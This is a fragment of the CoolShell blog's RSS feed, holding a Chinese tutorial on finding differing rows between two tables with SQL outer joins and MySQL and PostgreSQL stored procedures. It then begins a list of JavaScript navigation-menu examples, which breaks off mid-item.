CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/933.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>98</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何比较两个数据表</title>\n\t\t<link>https://coolshell.cn/articles/925.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/925.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 27 May 2009 15:02:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[MySQL]]></category>\n\t\t<category><![CDATA[PostgreSQL]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=925</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有些时候，我们可能想要比较一下两个数据表，以找到其中不同的数据。比如，在进行数据移植的时候，或是在合并数据的时候，或是在比对验证数据的时候。当然比较两个表，需要...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/925.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/925.html\">如何比较两个数据表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>有些时候，我们可能想要比较一下两个数据表，以找到其中不同的数据。比如，在进行数据移植的时候，或是在合并数据的时候，或是在比对验证数据的时候。当然比较两个表，需要这两个表结构是一样的。</p>\n<p>我们先假设一下有如下表结构：</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\nCREATE TABLE jajal\n(\n    user_id integer NOT NULL,\n    first_name character varying(255),\n    last_name character varying(255),\n    grade character(1),\n    CONSTRAINT jajal_pkey PRIMARY KEY (user_id)\n)\n</pre>\n<p><span id=\"more-925\"></span><br />\n然后，我们有两张表——jajal和jajal_copy，其内容如下：</p>\n<h4> jajal</h4>\n<table id=\"wptable-7\" class=\"wptable rowstyle-alt\" border=\"0\" cellspacing=\"1\">\n<thead>\n<tr>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">user_id</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">first_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">last_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">1</td>\n<td style=\"width: 30px;\" align=\"center\">Some</td>\n<td style=\"width: 30px;\" align=\"center\">Dude</td>\n<td style=\"width: 30px;\" align=\"center\">A</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">2</td>\n<td style=\"width: 30px;\" align=\"center\">Other</td>\n<td style=\"width: 30px;\" align=\"center\">Guy</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">3</td>\n<td style=\"width: 30px;\" align=\"center\">You are</td>\n<td style=\"width: 30px;\" align=\"center\">Welcome</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">4</td>\n<td style=\"width: 30px;\" align=\"center\">What</td>\n<td style=\"width: 30px;\" align=\"center\">Other</td>\n<td style=\"width: 30px;\" align=\"center\">A</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">5</td>\n<td style=\"width: 30px;\" align=\"center\">INeed</td>\n<td style=\"width: 30px;\" align=\"center\">You</td>\n<td style=\"width: 30px;\" align=\"center\">C</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">6</td>\n<td style=\"width: 30px;\" align=\"center\">Mixed</td>\n<td style=\"width: 30px;\" align=\"center\">Nuts</td>\n<td style=\"width: 30px;\" align=\"center\">Z</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">7</td>\n<td style=\"width: 30px;\" align=\"center\">Kirk</td>\n<td style=\"width: 30px;\" align=\"center\">Land</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">8</td>\n<td style=\"width: 30px;\" align=\"center\">Bit</td>\n<td style=\"width: 30px;\" align=\"center\">Shooter</td>\n<td style=\"width: 30px;\" align=\"center\">A</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">9</td>\n<td style=\"width: 30px;\" align=\"center\">Sun</td>\n<td style=\"width: 30px;\" align=\"center\">Microsystem</td>\n<td style=\"width: 30px;\" align=\"center\">C</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">10</td>\n<td style=\"width: 30px;\" align=\"center\">Extra</td>\n<td style=\"width: 30px;\" align=\"center\">Fancy</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n</tbody>\n</table>\n<h4>jajal_copy</h4>\n<table id=\"wptable-8\" class=\"wptable rowstyle-alt\" border=\"0\" cellspacing=\"1\">\n<thead>\n<tr>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">user_id</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">first_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">last_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">1</td>\n<td style=\"width: 30px;\" align=\"center\">Some</td>\n<td style=\"width: 30px;\" align=\"center\">Dude</td>\n<td style=\"width: 30px;\" align=\"center\">A</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">2</td>\n<td style=\"width: 30px;\" align=\"center\">Other</td>\n<td style=\"width: 30px;\" align=\"center\">Guy</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">3</td>\n<td style=\"width: 30px;\" align=\"center\">You are</td>\n<td style=\"width: 30px;\" align=\"center\">Welcome</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">4</td>\n<td style=\"width: 30px;\" align=\"center\">What</td>\n<td style=\"width: 30px;\" align=\"center\">Other</td>\n<td style=\"width: 30px;\" align=\"center\">A</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">5</td>\n<td style=\"width: 30px;\" align=\"center\">INeed</td>\n<td style=\"width: 30px;\" align=\"center\">You</td>\n<td style=\"width: 30px;\" align=\"center\">C</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">6</td>\n<td style=\"width: 30px;\" align=\"center\">Mixed</td>\n<td style=\"width: 30px;\" align=\"center\">Nuts</td>\n<td style=\"width: 30px;\" align=\"center\">C</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">7</td>\n<td style=\"width: 30px;\" align=\"center\">Kirk</td>\n<td style=\"width: 30px;\" align=\"center\">Land</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">8</td>\n<td style=\"width: 30px;\" align=\"center\">Bit</td>\n<td style=\"width: 30px;\" align=\"center\">Shooter</td>\n<td style=\"width: 30px;\" align=\"center\">A</td>\n</tr>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">9</td>\n<td style=\"width: 30px;\" align=\"center\">Sun</td>\n<td style=\"width: 30px;\" align=\"center\">Microsystem</td>\n<td style=\"width: 30px;\" align=\"center\">C</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">10</td>\n<td style=\"width: 30px;\" align=\"center\">Extra</td>\n<td style=\"width: 30px;\" align=\"center\">Fancy</td>\n<td style=\"width: 30px;\" align=\"center\">B</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p>要比较这两张表的数据，找出不一样的数据行。我们可以使用<a href=\"http://en.wikipedia.org/wiki/Join_(SQL)#Outer_joins\"><span style=\"color: #967001;\">outer join</span></a> 技术。我给outer join做了一个链接，是Wikipedia的，如果你对这个技术不是很清楚，还请你行看看其技术细节。</p>\n<p>下面是具体的SQL语句：</p>\n<h4><span style=\"text-decoration: underline;\">使用FULL OUTER JOIN</span></h4>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\nSELECT\n     *\nFROM\n     jajal j\n     FULL OUTER JOIN jajal_copy jc ON jc.first_name = j.first_name\n     AND jc.last_name = j.last_name\n     AND jc.grade = j.grade\n     AND jc.user_id = j.user_id\nWHERE\n     j.user_id IS NULL\n     OR jc.user_id IS NULL\n</pre>\n<p>运行结果如下：</p>\n<table id=\"wptable-9\" class=\"wptable rowstyle-alt\" border=\"0\" cellspacing=\"1\">\n<thead>\n<tr>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">user_id</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">first_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">last_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">grade</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">user_id</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">first_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">last_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n<td style=\"width: 30px;\" align=\"center\">6</td>\n<td style=\"width: 30px;\" align=\"center\">Mixed</td>\n<td style=\"width: 30px;\" align=\"center\">Nuts</td>\n<td style=\"width: 30px;\" align=\"center\">C</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">6</td>\n<td style=\"width: 30px;\" align=\"center\">Mixed</td>\n<td style=\"width: 30px;\" align=\"center\">Nuts</td>\n<td style=\"width: 30px;\" align=\"center\">Z</td>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n<td style=\"width: 30px;\" align=\"center\">[NULL]</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<h4><span style=\"text-decoration: underline;\">使用NATURAL FULL OUTER JOIN</span></h4>\n<p>关于<a href=\"http://en.wikipedia.org/wiki/Join_(SQL)#Natural_join\"><span style=\"color: #967001;\">natural join</span></a>，你可以看看Wikipedia是怎么说的。</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\nSELECT\n       *\nFROM\n       jajal j\n       NATURAL FULL OUTER JOIN jajal_copy jc\nWHERE\n       j.user_id IS NULL\n       OR jc.user_id IS NULL\n</pre>\n<p>运行结果如下：</p>\n<table id=\"wptable-10\" class=\"wptable rowstyle-alt\" border=\"0\" cellspacing=\"1\">\n<thead>\n<tr>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">user_id</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">first_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">last_name</th>\n<th class=\"sortable\" style=\"width: 30px;\" align=\"center\">grade</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"width: 30px;\" align=\"center\">6</td>\n<td style=\"width: 30px;\" align=\"center\">Mixed</td>\n<td style=\"width: 30px;\" align=\"center\">Nuts</td>\n<td style=\"width: 30px;\" align=\"center\">C</td>\n</tr>\n<tr class=\"alt\">\n<td style=\"width: 30px;\" align=\"center\">6</td>\n<td style=\"width: 30px;\" align=\"center\">Mixed</td>\n<td style=\"width: 30px;\" align=\"center\">Nuts</td>\n<td style=\"width: 30px;\" align=\"center\">Z</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<h4><span style=\"text-decoration: underline;\">MySQL SQL 代码</span></h4>\n<pre>MySQL 并不支持 FULL OUTER JOIN，但是我们可以使用LEFT JOIN 和 RIGHT JOIN 来实现这一功能。如下所示。</pre>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\nSELECT\n*\nFROM\njajal j\nLEFT JOIN jajal_copy jc ON jc.first_name = j.first_name\nAND jc.last_name = j.last_name\nAND jc.grade = j.grade\nAND jc.user_id = j.user_id\nWHERE\njc.user_id IS NULL\nUNION ALL\nSELECT\n*\nFROM\njajal j\nRIGHT JOIN jajal_copy jc ON jc.first_name = j.first_name\nAND jc.last_name = j.last_name\nAND jc.grade = j.grade\nAND jc.user_id = j.user_id\nWHERE\nj.user_id IS NULL\n</pre>\n<p>或者你更喜欢NATURAL JOIN 版本</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\nSELECT\n*\nFROM\njajal j\nNATURAL LEFT JOIN jajal_copy jc\nWHERE\njc.user_id IS NULL\nUNION ALL\nSELECT\n*\nFROM\njajal j\nNATURAL RIGHT JOIN jajal_copy jc\nWHERE\nj.user_id IS NULL\n</pre>\n<p>当然，如果你需要一个MySQL的存储过程的话，下面是一个示例：</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\nDELIMITER $$\n\nCREATE PROCEDURE `db_schema`.`tablediff`\n    (schema_name VARCHAR(64), table1 VARCHAR(64), table2 VARCHAR(64))\nBEGIN\n    DECLARE done INT DEFAULT 0;\n    DECLARE sql_statement TEXT DEFAULT &#039;&#039;;\n    DECLARE sql_statement_where TEXT DEFAULT &#039;&#039;;\n    DECLARE sql_statement_pk TEXT DEFAULT &#039;&#039;;\n    DECLARE col_name VARCHAR(64);\n    DECLARE col_name_cur CURSOR FOR\n        SELECT\n            COLUMN_NAME\n        FROM\n            information_schema.COLUMNS\n        WHERE\n            TABLE_SCHEMA = schema_name\n            AND TABLE_NAME = table1\n    ;\n    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;\n\n    OPEN col_name_cur;\n    traverse_columns: LOOP\n        FETCH col_name_cur INTO col_name;\n\n        IF done THEN\n            CLOSE col_name_cur;\n            LEAVE traverse_columns;\n        END IF;\n\n        SET sql_statement_where = CONCAT(sql_statement_where,\n            &#039; AND a.&#039;, col_name, &#039; = b.&#039;, col_name);\n        SET sql_statement_pk = CONCAT(sql_statement_pk,\n            &#039;AND b.&#039;, col_name, &#039; IS NULL&#039;);\n    END LOOP;\n\n    SELECT\n        COLUMN_NAME INTO col_name\n    FROM\n        information_schema.KEY_COLUMN_USAGE\n    WHERE\n        CONSTRAINT_SCHEMA = schema_name\n        AND CONSTRAINT_NAME = &#039;PRIMARY&#039;\n        AND TABLE_NAME = table1\n    LIMIT 1\n    ;\n    IF col_name IS NOT NULL THEN\n        SET sql_statement_pk = CONCAT(&#039;AND b.&#039;, col_name, &#039; IS NULL&#039;);\n    END IF;\n\n    SET sql_statement = CONCAT(&#039;SELECT * FROM &#039;, schema_name, &#039;.&#039;, table1, &#039; a LEFT JOIN &#039;, schema_name, &#039;.&#039;, table2, &#039; b ON TRUE&#039;);\n    SET sql_statement = CONCAT(sql_statement, sql_statement_where, &#039; WHERE TRUE &#039;, sql_statement_pk);\n    SET sql_statement = CONCAT(sql_statement, &#039; UNION ALL SELECT * FROM &#039;, schema_name, &#039;.&#039;, table1, &#039; b RIGHT JOIN &#039;, schema_name, &#039;.&#039;, table2, &#039; a ON TRUE&#039;);\n    SET sql_statement = CONCAT(sql_statement, sql_statement_where, &#039; WHERE TRUE &#039;, sql_statement_pk);\n\n    SET @s = sql_statement;\n    PREPARE stmt1 FROM @s;\n    EXECUTE stmt1;\n    DEALLOCATE PREPARE stmt1;\n\nEND$$\nDELIMITER ;\n</pre>\n<p> </p>\n<p> </p>\n<h4><span style=\"text-decoration: underline;\">PostgreSQL 下的SQL语句</span></h4>\n<p>下面是PostgreSQL的一个存储过程：</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\nCREATE OR REPLACE FUNCTION tablediff (\n    IN schema_name VARCHAR(64),\n    IN table1 VARCHAR(64),\n    IN table2 VARCHAR(64)\n) RETURNS BIGINT AS\n$BODY$\nDECLARE\n    the_result BIGINT DEFAULT 0;\n    sql_statement TEXT DEFAULT &#039;&#039;;\n    sql_statement_where TEXT DEFAULT &#039;&#039;;\n    sql_statement_pk TEXT DEFAULT &#039;&#039;;\n    col_name VARCHAR(64);\n    col_name_cur CURSOR FOR\n        SELECT\n            column_name\n        FROM\n            information_schema.columns\n        WHERE\n            table_catalog = schema_name\n            AND table_schema = &#039;public&#039;\n            AND table_name = table1\n    ;\nBEGIN\n    OPEN col_name_cur;\n\n    LOOP\n        FETCH col_name_cur INTO col_name;\n        IF NOT FOUND THEN\n            EXIT;\n        END IF;\n\n        sql_statement_where := sql_statement_where || &#039; AND a.&#039; || col_name || &#039; = b.&#039; || col_name;\n    END LOOP;\n\n    SELECT\n        column_name INTO col_name\n    FROM\n        information_schema.table_constraints tc\n        JOIN information_schema.constraint_column_usage ccu ON\n            ccu.constraint_name = tc.constraint_name\n    WHERE\n        tc.table_catalog = schema_name\n        AND tc.table_schema = &#039;public&#039;\n        AND tc.table_name = table1\n    LIMIT 1\n    ;\n\n    IF col_name IS NOT NULL THEN\n        sql_statement_pk := &#039; a.&#039; || col_name || &#039; IS NULL&#039;;\n        sql_statement_pk := sql_statement_pk || &#039; OR b.&#039; || col_name || &#039; IS NULL&#039;;\n    END IF;\n\n    sql_statement := &#039;SELECT COUNT(*) FROM &#039; || schema_name || &#039;.public.&#039; || table1 || &#039; a FULL OUTER JOIN &#039; || schema_name || &#039;.public.&#039; || table2 || &#039; b ON TRUE&#039;;\n    sql_statement := sql_statement || sql_statement_where || &#039; WHERE &#039; || sql_statement_pk;\n\n    EXECUTE sql_statement INTO the_result;\n\n    RETURN the_result;\nEND;$BODY$\nLANGUAGE &#039;plpgsql&#039; STABLE;\n</pre>\n<p> </p>\n<p>文章：<a href=\"http://www.microshell.com/database/sql/comparing-data-from-2-database-tables/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"6个有用的MySQL语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_title\">6个有用的MySQL语句</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/925.html\">如何比较两个数据表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/925.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>20个优秀的Javascript导航技术</title>\n\t\t<link>https://coolshell.cn/articles/918.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/918.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 26 May 2009 03:33:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=918</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前向大家介绍过 《30种时尚的CSS网站导航条》。这里，我们将向大家介绍一下使用Javascript设计的WEB页面的导航条。 因为Javascript可以处...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/918.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/918.html\">20个优秀的Javascript导航技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前向大家介绍过 《<a href=\"https://coolshell.cn/articles/562.html\" target=\"_blank\">30种时尚的CSS网站导航条</a>》。这里，我们将向大家介绍一下使用Javascript设计的WEB页面的导航条。</p>\n<p>因为Javascript可以处理和用户的交互，所以使用Javascript会有更好的用户体验。在这篇文章里，你可以看到一些<strong>令人恐怖和独一无二的Javascript制作的导航条</strong>。</p>\n<h3>1. <a href=\"http://greengeckodesign.com/projects/menumatic.aspx\" target=\"_blank\">MenuMatic</a></h3>\n<p>这个示例主要是展示了一个排序的纵向或横向的下拉式菜单导航条。</p>\n<p><a href=\"http://greengeckodesign.com/projects/menumatic/examples/vertical/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-02_menu_matic.jpg\" alt=\"menumatic\" width=\"500\" height=\"282\" /></a></p>\n<p><a href=\"http://greengeckodesign.com/projects/menumatic/examples/vertical/\">演示页面</a></p>\n<p><span id=\"more-918\"></span></p>\n<h3>2. <a href=\"http://www.shopdev.co.uk/blog/animated-menus-using-jquery/\">JQuery制作的动画按钮菜单</a></h3>\n<p>当鼠标经过的时候，按钮会有下压的感觉。</p>\n<p><a href=\"http://www.shopdev.co.uk/blog/menuDemo.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-07_animated_menu.jpg\" alt=\"Animated Menu using jQuery\" width=\"500\" height=\"151\" /></a></p>\n<p><a href=\"http://www.shopdev.co.uk/blog/menuDemo.html\">演示页面</a></p>\n<h3>3. <a href=\"http://www.gayadesign.com/diy/jquery-convertion-garagedoor-effect-using-javascript/\" target=\"blank\">jQuery 卷帘门特效导航条</a></h3>\n<p><a href=\"http://www.gayadesign.com/about/\" target=\"_blank\">Gaya Kessler</a> 设计了这样一种卷帘门式导航条，相当的酷。</p>\n<p><a href=\"http://www.gayadesign.com/scripts/jquerygaragedoor/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-01_garage_door.jpg\" alt=\"Garagedoor Effect using jQuery\" width=\"500\" height=\"109\" /></a></p>\n<p><a href=\"http://www.gayadesign.com/scripts/jquerygaragedoor/\" target=\"_blank\">演示页面</a></p>\n<h3>4. <a href=\"http://sonicradish.com/labs/jGlideMenu/current/?src=ASL_LAB\" target=\"_blank\">JGlide 菜单</a></h3>\n<p>一个独特的平面式菜单，整个菜单可以被随意拖动。</p>\n<p><a href=\"http://sonicradish.com/labs/jGlideMenu/current/static_demo.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-18_jglide.jpg\" alt=\"JGlide Menu\" width=\"500\" height=\"200\" /></a></p>\n<p><a href=\"http://sonicradish.com/labs/jGlideMenu/current/static_demo.html\" target=\"_blank\">演示页面</a></p>\n<h3>5. <a href=\"http://hv-designs.co.uk/2009/02/17/sliding-jquery-menu/\" target=\"_blank\">jQuery 纵向滑动式菜单</a></h3>\n<p><a href=\"http://hv-designs.co.uk/\" target=\"_blank\">HVDesigns</a> 设计这个下拉式滑动式菜单。</p>\n<p><a href=\"http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-03_verticle_sliding.jpg\" alt=\"Sliding jQuery Menu\" width=\"500\" height=\"192\" /></a></p>\n<p><a href=\"http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html\" target=\"_blank\">演示页面</a></p>\n<h3>6. <a href=\"http://www.mattweltman.com/sliding_tabs.html\">Perspective Tabs</a></h3>\n<p>这个技术很酷了，有点类似于iPhone，通过鼠标可以滚动导航条。</p>\n<p><a href=\"http://www.mattweltman.com/sliding_tabs.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-13_mootools_tabs.jpg\" alt=\"Perspective Tabs\" width=\"500\" height=\"298\" /></a></p>\n<p><a href=\"http://www.mattweltman.com/sliding_tabs.html\">演示页面</a></p>\n<h3>7. <a href=\"http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html\">Digg.com式的下拉菜单</a></h3>\n<p>这个digg.com式的下拉菜单只使用了非常小的Javascript代码。</p>\n<p><a href=\"http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-09_digg_like_menu.jpg\" alt=\"Vertical Digg-like Menu\" width=\"500\" height=\"149\" /></a></p>\n<h3>8. <a href=\"http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/\">LavaLamp</a></h3>\n<p>当鼠标经过的时候，菜单项上会有一个小阴影尾随着。以前，这样的技术基本上通过Flash完成的。</p>\n<p><a href=\"http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-14_mootools_fancy_menu.jpg\" alt=\"LavaLamp\" width=\"500\" height=\"96\" /></a></p>\n<h3>9. <a href=\"http://marcgrabanski.com/pages/code/fisheye-menu\" target=\"_blank\">鱼眼菜单</a></h3>\n<p>鼠标经过的时候，图标会变得大起来。这个技术相当不错。</p>\n<p><a href=\"http://marcgrabanski.com/pages/code/fisheye-menu\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-17_fisheye.jpg\" alt=\"Fisheye Menu\" width=\"500\" height=\"163\" /></a></p>\n<h3>10. <a href=\"http://www.dezinerfolio.com/2007/07/19/simple-javascript-accordions/\" target=\"_blank\">简单的JavaScript折叠式菜单</a></h3>\n<p>相当不错的一相折叠式菜单。</p>\n<p><a href=\"http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-04_javascript_accordian.jpg\" alt=\"Simple JavaScript Accordions\" width=\"500\" height=\"247\" /></a></p>\n<p><a href=\"http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html\" target=\"_blank\">演示页面</a></p>\n<h3>11. <a href=\"http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/\">高亮滑动式菜单</a></h3>\n<p>这个特效和第8个很类似。</p>\n<p><a 